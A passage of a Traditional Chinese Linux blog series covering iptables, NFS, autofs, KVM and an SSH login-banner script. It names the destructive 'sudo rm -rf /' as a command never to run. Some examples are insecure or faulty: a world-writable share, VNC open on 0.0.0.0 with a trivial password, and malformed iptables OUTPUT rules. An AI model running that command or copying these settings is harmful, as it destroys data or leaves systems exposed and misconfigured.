有：192.168.56.3、192.168.56.4。控制台主機IP是：192.168.56.90。\n另外這台主機操作方式主要是透過 ssh 遠端操控的，所以有一項隱性需求：必須保持 SSH 連線暢通。\n還有很重要一項，必須讓其他主機 ping 的到該虛擬機，因為該網路是公共空間，有不同人共同管理。\n所以這次範例的防火牆規劃是這樣的：\n允許 port 3306 對 192.168.56.3、192.168.56.4 開放。 允許 port ssh 對 192.168.56.90 開放。 允許 ping。 其餘連線一律丟棄。 對外連線一律不通。 實做 # iptables 設定一有一個原則：開放最小的優先設定，越大越後設定。\n清空 iptables 規則 1 2 3 iptables -F iptables -X iptables -Z INPUT: 新增 lo 網卡 1 iptables -I INPUT 1 0 -i lo -j ACCEPT INPUT: 允許 port 3306 對 192.168.56.3、192.168.56.4 開放 1 2 iptables -I INPUT 2 -i eth0 -s 192.168.56.3/32 -p tcp -m multiport --destination-port 3306 -j ACCEPT iptables -I INPUT 3 -i eth0 -s 192.168.56.4/32 -p tcp -m multiport --destination-port 3306 -j ACCEPT INPUT: 允許 port ssh 對 192.168.56.90 開放。 1 iptables -I INPUT 4 -i eth0 -s 192.168.56.90/32 -p tcp -m multiport --destination-port 22 -j ACCEPT INPUT: icmp 1 iptables -A INPUT -i eth0 -s 0.0.0.0/32 -p icmp --icmp-type 8 -j ACCEPT INPUT: 其餘連線一律丟棄。 1 iptables -A INPUT -i eth0 -s 0.0.0.0/0 -j DROP OUTPUT: 允許 port 3306 對 192.168.56.3、192.168.56.4 開放 1 2 iptables -I OUTPUT 1 -i eth0 -s 192.168.56.3/32 -p tcp -m multiport --destination-port 3306 -j ACCEPT iptables -I OUTPUT 2 -i eth0 -s 192.168.56.4/32 -p tcp -m multiport --destination-port 3306 -j ACCEP OUTPUT: 允許 port ssh 對 192.168.56.90 開放。 1 iptables -I OUTPUT 3 -i eth0 -s 192.168.56.90/32 -p tcp -m multiport --destination-port 22 -j ACCEPT OUTPUT: icmp 1 iptables -I OUTPUT 4 -i eth0 -s 0.0.0.0/32 -p icmp --icmp-type 8 -j ACCEPT OUTPUT: 對外連線一律不通。 1 2 3 iptables -A OUTPUT -i eth0 -s 0.0.0.0/0 -j DROP iptables -A OUTPUT -s x.x.x.x/32 -j DROP service iptables save 儲存連線 CentOS6 1 service iptables save CentOS7 1 iptables-save \u0026gt; /etc/sysconfig/iptables 設定防火牆有一點必須注意，要竭盡可能離主機近一點，因為總有手臭、恍神的時候，把自己擋在防火牆外。這時候 螢幕、鍵盤、滑鼠 或是 console 就重要了。\n參考資料 # Red Hat Enterprise Linux 4: 安全性設定手冊 附錄 C. 常見的連接埠\nLibvirt managed bridge won\u0026rsquo;t use firewalld zone after reboot\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/023-%E9%98%B2%E7%81%AB%E7%89%86/","section":"Posts","summary":"我的Linux生活日記 23.防火牆-firewalld # firewalld # 今天來跟大家介紹防火牆。在日常生活中還是得設定防火牆確保陌生人不會隨意進入自己的主機中。在Debian 為底的系統中主要是以 ufw(簡易防火牆) 為主，但是在網站系統中我比較會以 firewalld 為主，畢竟在伺服器里都會有一個或是兩個以上的網段、網卡要管理。今天就介紹比較常用的設定方式。\n","title":"我的Linux生活日記 23.防火牆-firewalld","type":"post"},{"content":" 我的Linux生活日記 25.分享資料夾-nfs Server # 最近工作上有做目錄共用的功能，主要是 linux 主機間共享目錄而已，所以這邊就順便整理之前的筆記吧！\n另外我自己工作主機及自己件的環境是以 Debian為主，所以這邊就附上 Debian 與 CentOS 的用法，原則上使用差異沒有很大。\n安裝 # CentOS7 1 sudo yum install nfs-utils Debian 10 1 sudo apt install nfs-kernel-server nfs-common 啟動服務 # CentOS6 1 2 3 service nfs start chkconfig nfs on chkconfig rpcbind on CentOS7 1 sudo systemctl start rpcbind 1 sudo systemctl restart nfs Debian 10,Oracle Linux 9 1 sudo systemctl start nfs-server 設定要分享的目錄 # 假設是 /share 要分享\n1 2 sudo mkdir -p /share sudo chmod 777 /share 設定文件: /etc/exports 1 2 # 目標目錄 要分享的IP 使用權限 /share 192.168.56.0/24(rw) 設定防火牆 # 我實做後發現只需要 新增 nfs 就可以了，但是看網路很多都寫到需要多開 rpc-bind 跟 mountd 所以我一樣記著，但是原則上能少開就少開。\n1 2 3 4 sudo firewall-cmd --permanent --add-service=nfs # sudo firewall-cmd --permanent --add-service=rpc-bind # sudo firewall-cmd --permanent --add-service=mountd sudo firewall-cmd --reload 1 2 3 sudo firewall-cmd --permanent --zone=libvirt --add-service=nfs sudo firewall-cmd --permanent --zone=libvirt --add-service=rpc-bind sudo firewall-cmd --permanent --zone=libvirt --add-service=mountd NFS # NFS 4.0 之前： # NFS 啟動時會向 rpcbind 註冊\nNFS 的 port 是 rpcbind(TCP 111) 所配發的\nrpcbind restart，NFS 也要跟著 restart\n查詢遠端主機開放的目錄：sudo showmount -e [remote_host_name or IP]\n掛載：sudo mount -t nfs [remote_host_name or IP]:/content /mnt\nNFS 4.0： # 固定使用 TCP port 2049\n無法使用 showmount，因此必須預先知道開放的目錄\n同時掛載所有開放的目錄：mount -t nfs [remote_host_name or IP]:/ /mnt (確定路徑也可以 mount 特定目錄)\nNFSv2, NFSv3, NFSv4 預設是同時開啟的\n介紹完架設 nfs-server 之後接下來就是在 nfs-client 設定啦！\n明天我們繼續詳細解說～\n參考資料 # [RHCE7] RH134 Chapter 11. Accessing Network Storage with Network File System (NFS) 學習筆記\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/025-%E5%88%86%E4%BA%AB%E8%B3%87%E6%96%99%E5%A4%BE-nfsserver/","section":"Posts","summary":"我的Linux生活日記 25.分享資料夾-nfs Server # 最近工作上有做目錄共用的功能，主要是 linux 主機間共享目錄而已，所以這邊就順便整理之前的筆記吧！\n","title":"我的Linux生活日記 25.分享資料夾-nfs Server","type":"post"},{"content":" 我的Linux生活日記 26.分享資料夾-autofs # 昨天已經安裝完 nfs server 接下來就是其他主機安裝端點工具啦！有兩個處理方式：mount 以及 autofs。\nmount # mount 指令如下：\n1 2 madir -p /mnt/nfs/centos7 mount 192.168.56.173:/share /mnt/nfs/centos7 但是不建議這樣做，主要是網路不通無法掛載遠端目錄時會在成PRC服務逾時，間接拖垮系統效能。接下來是建議使用 autofs 掛載目錄。\n安裝 # Debian 1 sudo apt install autofs CentOS7 1 sudo yum install autofs 編輯設定文件 # 這邊我直接新增文件，如果沒有 /etc/auto.master.d 這個目錄可以進入 /etc/auto.master 這份文件直接編輯\n/etc/auto.master.d/jc-share.autofs 1 2 # [掛載目錄] [遠端配置文件] [參數] /mnt/nfs /etc/jc-share.nfs --timeout=10 上述文件中 /mnt/nfs 不需要特別新增，autofs會在掛載時自動處理。\n/etc/jc-share.nfs 1 2 # [資料夾名稱] [掛載參數] [遠端主機分享目錄] centos7 -fstype=nfs,vers=4,rw 192.168.56.173:/share 測試 # 1 sudo automount -f -v 失敗畫面 1 2 3 4 5 6 7 8 Starting automounter version 5.1.2, master map /etc/auto.master using kernel protocol version 5.03 lookup(file): failed to read included master map auto.master mounted indirect on /mnt/nfs with timeout 10, freq 3 seconds attempting to mount entry /mnt/nfs/centos7 # \u0026gt;\u0026gt; 當有呼叫 /mnt/nfs/centos7 才會去掛載 mount(nfs): no hosts available failed to mount /mnt/nfs/centos7 # 掛載失敗訊息 re-reading map for /mnt/nfs 成功畫面 1 2 3 4 5 6 7 8 Starting automounter version 5.1.2, master map /etc/auto.master using kernel protocol version 5.03 lookup(file): failed to read included master map auto.master mounted indirect on /mnt/nfs with timeout 10, freq 3 seconds attempting to mount entry /mnt/nfs/centos7 # \u0026gt;\u0026gt; 當有呼叫 /mnt/nfs/centos7 才會去掛載 re-reading map for /mnt/nfs mounted /mnt/nfs/centos7 1 remaining in /mnt/nfs # 掛載成功訊息 啟動 autofs 服務 # 測試麼有問題後就可以開啟服務啦！\nDebian 10, CentOS 7 1 2 3 sudo systemctl restart autofs sudo systemctl start autofs sudo systemctl enable autofs centOS 6 1 2 3 /etc/init.d/autofs stop \u0026amp;\u0026amp; /etc/init.d/autofs start /etc/init.d/autofs status chkconfig aufofs on 掛載 Cifs # /etc/auto.master.d/bakerst.autofs 1 /bakerst /etc/auto.bakerst /etc/auto.bakerst 1 cases -fstype=cifs,credentials=/secure/sherlock ://serverX/cases 新增檔案 /secure/sherlock，內容如下：(only root access, permission 600) 1 2 3 username=[UserName] password=[Password] domain=[DomainName] Accessing Network Storage with SMB\n錯誤訊息 # automount: program is already running. 代表 autofs 已經啟動\nCentOS6.5 掛載 cifs 會失敗 cifs mount works on 6.8, but not on 6.5\n參考資料 # 使用 Autofs 按需掛接\n鳥哥的 Linux 私房菜 - 第十三章、檔案伺服器之一：NFS 伺服器\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/026-%E5%88%86%E4%BA%AB%E8%B3%87%E6%96%99%E5%A4%BE-autofs/","section":"Posts","summary":"我的Linux生活日記 26.分享資料夾-autofs # 昨天已經安裝完 nfs server 接下來就是其他主機安裝端點工具啦！有兩個處理方式：mount 以及 autofs。\n","title":"我的Linux生活日記 26.分享資料夾-autofs","type":"post"},{"content":" 我的Linux生活日記 27.分享資料夾-windows client for nfs # 昨天介紹了 autofs，但是Linux 要與 windows 共享目錄時，通常會使用 samba 工具。其實 windows 現在也可以讀取nfs Server 共享目錄。\n以下用 windows server 2019 做示範。\n安裝 # 開啟 Server Manager 點擊 add roles and features 點擊 Role-based or feature-based installation 選取要設定的伺服器 勾選 Client for NFS 點擊 install 設定 # 1 2 # mount.exe [IP]:/[分享路徑] [掛載磁碟] mount.exe 192.168.56.173:/share E:\\ 已知問題 # 在不同類型 檔名/目錄 打中文名稱會出現亂碼。\n參考資料 # Configure NFS Client on Windows Server 2019\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/027-%E5%88%86%E4%BA%AB%E8%B3%87%E6%96%99%E5%A4%BE-windowsclientfornfs/","section":"Posts","summary":"我的Linux生活日記 27.分享資料夾-windows client for nfs # 昨天介紹了 autofs，但是Linux 要與 windows 共享目錄時，通常會使用 samba 工具。其實 windows 現在也可以讀取nfs Server 共享目錄。\n","title":"我的Linux生活日記 27.分享資料夾-windows client for nfs","type":"post"},{"content":" 我的Linux生活日記 28.KVM # 在 Linux 中可以透過建立 KVM「核心基礎虛擬機器 (Kernel-based Virtual Machine；KVM）」 建立不同作業系統環境，無論是 RedHat 、Debian 或是 windows 都可以建立。在學習 Linux 的過程是不錯的學習工具。\n啟動 CPU 虛擬化技術 # 這部份需要進入 BIOS 開啟，AMD 是 VT , Intel 是 VT-x、VT-d 或 VT-c 。\n檢查硬體資源是否支援 虛擬技術 # 啟動之後可以下指令檢查\n1 grep --color --perl-regexp \u0026#39;vmx|svm\u0026#39; /proc/cpuinfo 安裝 # 安裝指令 # Debain 1 2 sudo apt -y install qemu-system libvirt-clients libvirt-daemon-system qemu-kvm libvirt-daemon bridge-utils virtinst virt-manager libosinfo-bin osinfo-db-tools sudo systemctl enable libvirtd Fedora 1 2 sudo dnf install @virtualization sudo systemctl enable --now libvirtd 1 2 3 sudo usermod -aG kvm $(whoami) sudo usermod -aG libvirt $(whoami) sudo usermod -aG input $(whoami) 最佳化設定 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [root@kvm-004 ~]# tuned-adm list Available profiles: - accelerator-performance - Throughput performance based tuning with disabled higher latency STOP states - aws - Optimize for aws ec2 instances - balanced - General non-specialized tuned profile - desktop - Optimize for the desktop use-case - epyc-eda - Optimize for EDA compute workloads on AMD EPYC CPUs - hpc-compute - Optimize for HPC compute workloads - intel-sst - Configure for Intel Speed Select Base Frequency - latency-performance - Optimize for deterministic performance at the cost of increased power consumption - network-latency - Optimize for deterministic performance at the cost of increased power consumption, focused on low latency network performance - network-throughput - Optimize for streaming network throughput, generally only necessary on older CPUs or 40G+ networks - optimize-serial-console - Optimize for serial console use. - powersave - Optimize for low power consumption - throughput-performance - Broadly applicable tuning that provides excellent performance across a variety of common server workloads - virtual-guest - Optimize for running inside a virtual guest - virtual-host - Optimize for running KVM guests Current active profile: throughput-performance [root@kvm-004 ~]# tuned-adm active Current active profile: throughput-performance [root@kvm-004 ~]# tuned-adm profile virtual-host 使用 vhost_net 模組 # [root@kvm-004 ~]# tuned-adm active Current active profile: virtual-host\n1 2 3 4 5 ### 使用 vhost_net 模組 ```bash sudo modprobe vhost_net 設定網路 # 1 2 sudo virsh net-start default sudo virsh net-autostart default 新增 KVM 權限 # 1 2 sudo usermod -G libvirt-qemu pollochang sudo usermod -G libvirt pollochang KVM 更新OS清單 # 1 2 3 4 5 6 7 8 sudo apt install libosinfo-bin osinfo-db-tools wget -O \u0026#34;/tmp/osinfo-db.tar.xz\u0026#34; https://releases.pagure.org/libosinfo/osinfo-db-20240701.tar.xz wget -O \u0026#34;/tmp/osinfo-db.tar.xz\u0026#34; https://releases.pagure.org/libosinfo/osinfo-db-20231215.tar.xz wget -O \u0026#34;/tmp/osinfo-db.tar.xz\u0026#34; https://releases.pagure.org/libosinfo/osinfo-db-20160728.tar.xz wget -O \u0026#34;/tmp/osinfo-db.tar.xz\u0026#34; https://releases.pagure.org/libosinfo/osinfo-db-20181101.tar.xz wget -O \u0026#34;/tmp/osinfo-db.tar.xz\u0026#34; https://releases.pagure.org/libosinfo/osinfo-db-20250124.tar.xz sudo osinfo-db-import --local \u0026#34;/tmp/osinfo-db.tar.xz\u0026#34; osinfo-query os | grep solaris Debian 12 火牆使用Firewalld # 錯誤 1 2 3 ❯ sudo virsh net-start default ─╯ error: Failed to start network default error: internal error: firewalld is set to use the nftables backend, but the required firewalld \u0026#39;libvirt\u0026#39; zone is missing. Either set the firewalld backend to \u0026#39;iptables\u0026#39;, or ensure that firewalld has a \u0026#39;libvirt\u0026#39; zone by upgrading firewalld to a version supporting rule priorities (0.7.0+) and/or rebuilding libvirt with --with-firewalld-zone 解決方式 /etc/firewalld/firewalld.conf\n1 FirewallBackend=nftables \u0026gt;\u0026gt; FirewallBackend=iptables 建立虛擬機 # 建立虛擬硬碟 # 建立虛擬機之前必須先建立虛擬硬碟。\n1 sudo qemu-img create -f qcow2 /home/jameschang/VMS/linux/debian9.qcow2 20G 建立虛擬機器 # 建立完虛擬磁碟就是建立虛擬機啦！指令說明如下。\n1 virt-install --virt-type kvm --name [虛擬機識別名稱] --ram [記憶體大小mb] --disk [虛擬硬碟掛載目錄],format=[虛擬磁碟格式] --network network=[虛擬網路界面] --graphics vnc,listen=0.0.0.0,password=debian9 --noautoconsole --os-type=linux --os-variant=[作業系統版本] --cdrom=[ISO光碟位置] 1 sudo virt-install --virt-type kvm --name debian9 --ram 4096 --disk /home/jameschang/VMS/linux/debian9.qcow2,format=qcow2 --network network=network1 --graphics vnc,listen=0.0.0.0,password=debian9 --noautoconsole --os-type=linux --os-variant=debian9 --cdrom=/data/softwares/linux/debian-9.13.0-amd64-netinst.iso 啟動KVM # 1 sudo virsh start debian9 設定開機時啟動 # 如果須樣在主機中依開機後就啟動虛擬機可以這樣處理。\n1 sudo virsh autostart debian9 KVM 轉 VMDisk # 有時候在 KVM 設定完虛擬機環境後，可以把虛擬機轉成 vmdk 格式，讓其他類型虛擬管理工具使用，如：oracle virtualbox。\n1 qemu-img convert -f qcow2 -O vmdk zimbra9-ubuntu18.04 zimbra9-ubuntu18.04.vmdk KVM 網路 # 指定虛擬機網卡IP，除了可以在虛擬機裡設定，也可以直接在KVM 中直接設定\n編輯網路 # 查詢 KVM 網卡 # 1 sudo virsh net-list 執行結果 1 2 3 4 5 $ sudo virsh net-list Name State Autostart Persistent -------------------------------------------- default active yes yes network active yes yes 1 virsh net-edit $NETWORK_NAME 编辑段落 1 2 3 4 5 6 7 \u0026lt;dhcp\u0026gt; \u0026lt;range start=\u0026#39;192.168.122.100\u0026#39; end=\u0026#39;192.168.122.254\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;52:54:00:ed:3c:bc\u0026#39; name=\u0026#39;winxp\u0026#39; ip=\u0026#39;192.168.122.2\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;52:54:00:19:1b:70\u0026#39; name=\u0026#39;loki\u0026#39; ip=\u0026#39;192.168.122.3\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;52:54:00:b8:f1:68\u0026#39; name=\u0026#39;gilLab\u0026#39; ip=\u0026#39;192.168.122.4\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;\u0026#39; name=\u0026#39;vm1\u0026#39; ip=\u0026#39;\u0026#39;/\u0026gt; \u0026lt;/dhcp\u0026gt; 重起網路 $NETWORK_NAME 是\n1 2 sudo virsh net-destroy $NETWORK_NAME \u0026amp;\u0026amp;\\ sudo virsh net-start $NETWORK_NAME 設定 mtu # 如果 KVM 有多張網卡，而虛擬機也會需要多張網卡需要設定 MTU，因為預設是1500 ，不設定有可能造成虛擬機網路無法出去的狀況。\n1 virsh net-edit $NETWORK_NAME 編輯 1 2 3 4 5 6 \u0026lt;network\u0026gt; ... \u0026lt;bridge ~/\u0026gt; \u0026lt;mtu size=\u0026#39;9000\u0026#39; /\u0026gt; ... \u0026lt;/network\u0026gt; 重啟主機 1 sudo reboot 維運相關-KVM 虛擬硬碟加大 # 1 2 # [磁碟路徑] [要擴充的容量] qemu-img resize /kvm/win10 +20G 執行結果 1 2 3 4 5 6 7 8 9 10 11 12 13 qemu-img info /kvm/win10 image: /kvm/win10 file format: qcow2 virtual size: 40 GiB (42949672960 bytes) disk size: 39.8 GiB cluster_size: 65536 Format specific information: compat: 1.1 compression type: zlib lazy refcounts: true refcount bits: 16 corrupt: false extended l2: false 維運相關-winXP 無法上網 # 我工作上有時候也會測試 windows XP ,又碰到無法上網的問題，主要是驅動問題，設定成 Realtek 即可。\n1 qemu-kvm -net nic,model=rtl8139 -net user -hda /opt/WinXP2010.img -smb /path/to/shared/dir -m 1024 參考資料 # 解決kvm虛擬機器windows系統間歇性網路中斷的問題\n參考資料 # 觀察那些 KVM 虛擬機，設定成為開機自動啟動？\nHow to Add Memory, vCPU, Hard Disk to Linux KVM Virtual Machine\n架設 Linux KVM 虛擬化主機 (Set up Linux KVM virtualization host)\nNetwork XML format\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/028.kvm/","section":"Posts","summary":"我的Linux生活日記 28.KVM # 在 Linux 中可以透過建立 KVM「核心基礎虛擬機器 (Kernel-based Virtual Machine；KVM）」 建立不同作業系統環境，無論是 RedHat 、Debian 或是 windows 都可以建立。在學習 Linux 的過程是不錯的學習工具。\n","title":"我的Linux生活日記 28.KVM","type":"post"},{"content":" 我的Linux生活日記 29.如何從小使用Linux # 今天這個主題來討論電腦教育吧。小朋友依開始接觸電腦作業系統有百分之六十以上的機率會是windows ，學校預先安裝、教學的也是。至少從我以前小學三年級開始，教室後面的安裝的作業系統就是windows98，每當下課時就會等待電腦開機，和三四位同學共八支手擠在104K的鍵盤上完小朋友期打交。到大學作業畢業的期末報告必須使用 MS Office 產出 docx 格式。這邊我想闡述的是，打從我從小接觸電腦的一開始到大學畢業這段求學期間，在認識電腦的領域方面已經被微軟給統治了。不過我今天也沒有想要牴觸或是說他不好，只是想要怎讓在求學的學生認識其他作業系統/平台。\n以家長的身份，我敢說我是有能力讓我自己的小朋友認識Linux ，有能力打造不同作業平台的作業環境，從桌面系統，我可以使用 Gnome、文書可以使用 Liber Office等等，讓小朋友接觸不同的平台。\n在學校，可以在電腦教室中分別安裝不同類型的作業系統、在課程設計上可以往跨平台的軟體方向設計。\n這樣的學習環境設計，可以讓學生多接觸不同的作業系統，探索不同的操作模式。未來成人後，也不會被單一的軟體給綁住使用電腦的模式。\nLinux 不只單單在伺服器領域發展而已，在桌面應用領域其實也有。操作的流暢度其實不輸給 windows。還記得以前在玩 ubuntu 14.04 時很常遇到應外程式清單卡住甚必須重啟 x-window 才有辦法解決。現在的狀況已經沒有。在操作上 Gnome 的桌面越來越偏向 Mac OS ，而 xfce 很輕巧、很自由？ KDE 嘛～感覺就是 KDE，有他的專屬風格。一個平台上有不同操作風格是 windows、Mac OS 沒有的。這是優點也是缺點。缺點是在設計課程時必須花費心思把操作模式專注在一項，或是探究共通的操作教育 command line 就解決了 。在軟體操作設計上有可能會增加設計、開發難度 通通給我上雲端 。也許這是自由的代價，必須等使用者、開發者、設計者等既得利益者協調完才有最佳的處理方式，也許這一天永遠等不到但是會在每次新的發行版次中一步一步更接近所有人的期望。\n目前安裝Linux 作業系統到使用他的桌面環境，其實不會很難上手。安裝上其實可以簡單的按下一步完成安裝，桌面使用上也不太接觸到臭蟲。一個平台越多人使用，在未來他的操作有可能更人性化、系統問題有可能會更少。所以別害怕使用少眾(至少在桌面領域上市這樣)的平台，也別被單一一種平台給限制住作業方向。\n掰完這個主題內容了，發現教育這一塊對我來說，好陌生。為什麼匯寫這篇呢？就只是和我另一伴的完笑話。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/029-%E5%A6%82%E4%BD%95%E5%BE%9E%E5%B0%8F%E4%BD%BF%E7%94%A8linux/","section":"Posts","summary":"我的Linux生活日記 29.如何從小使用Linux # 今天這個主題來討論電腦教育吧。小朋友依開始接觸電腦作業系統有百分之六十以上的機率會是windows ，學校預先安裝、教學的也是。至少從我以前小學三年級開始，教室後面的安裝的作業系統就是windows98，每當下課時就會等待電腦開機，和三四位同學共八支手擠在104K的鍵盤上完小朋友期打交。到大學作業畢業的期末報告必須使用 MS Office 產出 docx 格式。這邊我想闡述的是，打從我從小接觸電腦的一開始到大學畢業這段求學期間，在認識電腦的領域方面已經被微軟給統治了。不過我今天也沒有想要牴觸或是說他不好，只是想要怎讓在求學的學生認識其他作業系統/平台。\n","title":"我的Linux生活日記 29.如何從小使用Linux","type":"post"},{"content":" 我的Linux生活日記 30.學習資源 # 今天是最後一天了，連續發文30天真的不容易，過程中需要排除萬難騰出寶貴的時間寫。最後一天就來寫我自己的學習資源吧！\n打造學習環境 # 學習Linux，首先必須想辦法把環境建立起來，讀在多的理論知識知道再多的指令，沒有一個環境去實做永遠都是資訊或是紙上的文字紀錄而已。必須將所得到的紀錄、技術資訊實做一遍才會知道遺漏了哪些技術細節。以 rsync 指令為例。例如需要將本機的 /home/tomcat/catalina 底下所有的文件同步到 192.168.56.2 的相同目錄中，在網路上找到的資訊後所下的指令是 rsync -ruptl /home/tomcat/catalina tomcat@192.168.56.2:/home/tomcat/catalina 但是會發現無法正常運作。可能會出現不同類型的錯誤，如目標主機沒有安裝 rsync 套件、主機網路環境有阻擋 port 22、目標主機目錄權限不足等等。上述這些狀況必須在實做上才會知道。\n另外在學習的過程中一定會出現失敗，或是想知道別人說絕對不能下的指令，如：sudo rm -rf /。沒有允須失敗的環境是很難放心執行所學到的新事物。這時虛擬環境就很重要了。如今虛擬環境已經可以不用像以前一樣安裝虛擬機器，如：KVM、VirtualBox、VMware。用Docker 就可以實現Linux不同發行板版本，虛擬環境建置成本低很多。當然虛擬機還是有他的價值在，快照就是 docker 無法達成的項目。\n網路資源 # 在操作上有問題最快尋找解答的方式就是透過搜尋引擎尋找，但是要確保資訊正確需要經過數月甚至幾年的經驗累積。以下是大家公認上，在學習Linux 資訊品質比較好的網站。\n鳥哥的 Linux 私房菜 網站：https://linux.vbird.org/\n鳥哥大大沒有人會質疑吧！在架設伺服器方面，鳥站是不錯的學習資源，重點是品質很好的中文學習資源。\nSUSE Linux Enterprise Server 管理指南 網站：https://documentation.suse.com/zh-tw/sles/15-SP2/html/SLES-all/book-sle-admin.html\nProduct Documentation for Red Hat Enterprise Linux SUSE Linux 、Red Hat 官方網站也是很好的學習資源，而且可以切換成 英文/中文 介面。可以透過中英對照習得英文原文的術語，未來在面對問題時可以更快獲得解決問題的資訊。\nDebian 參考手冊 Debian 官方的中文手冊，內容是很豐富的。\n軟體資源 # centos centos 已經算是進入產品生命週期的終點，但是未來的10年內仍然會有他的身影。\ndebian\nKernel.org git repositories\n想知道linux 是哪些軟體組成的嗎？Kernel.org 可以讓你一探究竟。\n書籍 # 邁向Linux工程師之路：Superuser一定要懂的技術與運用 ISBN: 9789864344383\n在維運上有很多基礎知識可以從這本書取得。\n乾脆一次搞清楚：最完整詳細網路協定全書 ISBN: 9789865501396\n如果有架設網站需求，可以看看這一本。作者把網路環境描述的就像介紹你家附近每一條道路一樣，讓網路更親近自己的生活。而且Linux 在設定防火牆時多多少少需要有一點網路基礎知識。\n今年的人生目標終於達成其中之一！三十天連續發文真的不容易，比大學教期末報告還要痛苦。這三十天整理自己的筆記、重現環境、重現錯誤等等等等，在每天短短一小時完成。時間就如此一點點，堅持不間斷三十天就是完整的一天多一點的時間。這三十天就像是我這幾年來學習 Linux 的縮影，從個人電腦環境到伺服器叢集架設管理，東西很多雜而且技術不斷更新，永遠寫不完，也永遠學不完。\n這一系列我盡可能寫日常生活中會應用到的項目，畢竟不人人都會去管理伺服器，但是大多數人至少會碰筆電、個人電腦，也許是我自己的處女座，也許是工作環境比較少與人溝通，在文章用詞上生疏許多，也許是我自己目前最缺乏的部份。希望明年的作品內容可以更淺顯易懂。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/030-%E5%AD%B8%E7%BF%92%E8%B3%87%E6%BA%90/","section":"Posts","summary":"我的Linux生活日記 30.學習資源 # 今天是最後一天了，連續發文30天真的不容易，過程中需要排除萬難騰出寶貴的時間寫。最後一天就來寫我自己的學習資源吧！\n","title":"我的Linux生活日記 30.學習資源","type":"post"},{"content":" 我的Linux生活日記 31.ssh登入信息-ssh login banner # 範本 # /etc/profile.d/ssh-login-info.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 #!/bin/sh # # @Time : 2023-09-14 # @Author : PolloChang # @Desc : ssh login banner export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin shopt -q login_shell \u0026amp;\u0026amp; : || return 0 # os upSeconds=\u0026#34;$(cut -d. -f1 /proc/uptime)\u0026#34; secs=$((${upSeconds}%60)) mins=$((${upSeconds}/60%60)) hours=$((${upSeconds}/3600%24)) days=$((${upSeconds}/86400)) UPTIME_INFO=$(printf \u0026#34;%d days, %02dh %02dm %02ds\u0026#34; \u0026#34;$days\u0026#34; \u0026#34;$hours\u0026#34; \u0026#34;$mins\u0026#34; \u0026#34;$secs\u0026#34;) if [ -f /etc/oracle-release ] ; then PRETTY_NAME=$(\u0026lt; /etc/oracle-release) elif [ -f /etc/oracle-release ] ; then PRETTY_NAME=$(\u0026lt; /etc/redhat-release) elif [ -f /etc/debian_version ]; then DIST_VER=$(\u0026lt;/etc/debian_version) PRETTY_NAME=\u0026#34;$(grep PRETTY_NAME /etc/os-release | sed -e \u0026#39;s/PRETTY_NAME=//g\u0026#39; -e \u0026#39;s/\u0026#34;//g\u0026#39;) ($DIST_VER)\u0026#34; else PRETTY_NAME=$(cat /etc/*-release | grep \u0026#34;PRETTY_NAME\u0026#34; | sed -e \u0026#39;s/PRETTY_NAME=//g\u0026#39; -e \u0026#39;s/\u0026#34;//g\u0026#39;) fi if [[ -d \u0026#34;/system/app/\u0026#34; \u0026amp;\u0026amp; -d \u0026#34;/system/priv-app\u0026#34; ]]; then model=\u0026#34;$(getprop ro.product.brand) $(getprop ro.product.model)\u0026#34; elif [[ -f /sys/devices/virtual/dmi/id/product_name || -f /sys/devices/virtual/dmi/id/product_version ]]; then model=\u0026#34;$(\u0026lt; /sys/devices/virtual/dmi/id/product_name)\u0026#34; model+=\u0026#34; $(\u0026lt; /sys/devices/virtual/dmi/id/product_version)\u0026#34; elif [[ -f /sys/firmware/devicetree/base/model ]]; then model=\u0026#34;$(\u0026lt; /sys/firmware/devicetree/base/model)\u0026#34; elif [[ -f /tmp/sysinfo/model ]]; then model=\u0026#34;$(\u0026lt; /tmp/sysinfo/model)\u0026#34; fi MODEL_INFO=${model} KERNEL=$(uname -srmo) USER_NUM=$(who -u | wc -l) RUNNING=$(ps ax | wc -l | tr -d \u0026#34; \u0026#34;) # disk totaldisk=$(df -h -x devtmpfs -x tmpfs -x debugfs -x aufs -x overlay --total 2\u0026gt;/dev/null | tail -1) disktotal=$(awk \u0026#39;{print $2}\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;${totaldisk}\u0026#34;) diskused=$(awk \u0026#39;{print $3}\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;${totaldisk}\u0026#34;) diskusedper=$(awk \u0026#39;{print $5}\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;${totaldisk}\u0026#34;) DISK_INFO=\u0026#34;\\033[0;33m${diskused}\\033[0m of \\033[1;34m${disktotal}\\033[0m disk space used (\\033[0;33m${diskusedper}\\033[0m)\u0026#34; # cpu cpu=$(awk -F\u0026#39;:\u0026#39; \u0026#39;/^model name/ {print $2}\u0026#39; /proc/cpuinfo | uniq | sed -e \u0026#39;s/^[ \\t]*//\u0026#39;) cpun=$(grep -c \u0026#39;^processor\u0026#39; /proc/cpuinfo) cpuc=$(grep \u0026#39;^cpu cores\u0026#39; /proc/cpuinfo | tail -1 | awk \u0026#39;{print $4}\u0026#39;) cpup=$(grep \u0026#39;^physical id\u0026#39; /proc/cpuinfo | wc -l) CPU_INFO=\u0026#34;${cpu} ${cpup}P ${cpuc}C ${cpun}L\u0026#34; # get the load averages read one five fifteen rest \u0026lt; /proc/loadavg LOADAVG_INFO=\u0026#34;\\033[0;33m${one}\\033[0m / ${five} / ${fifteen} 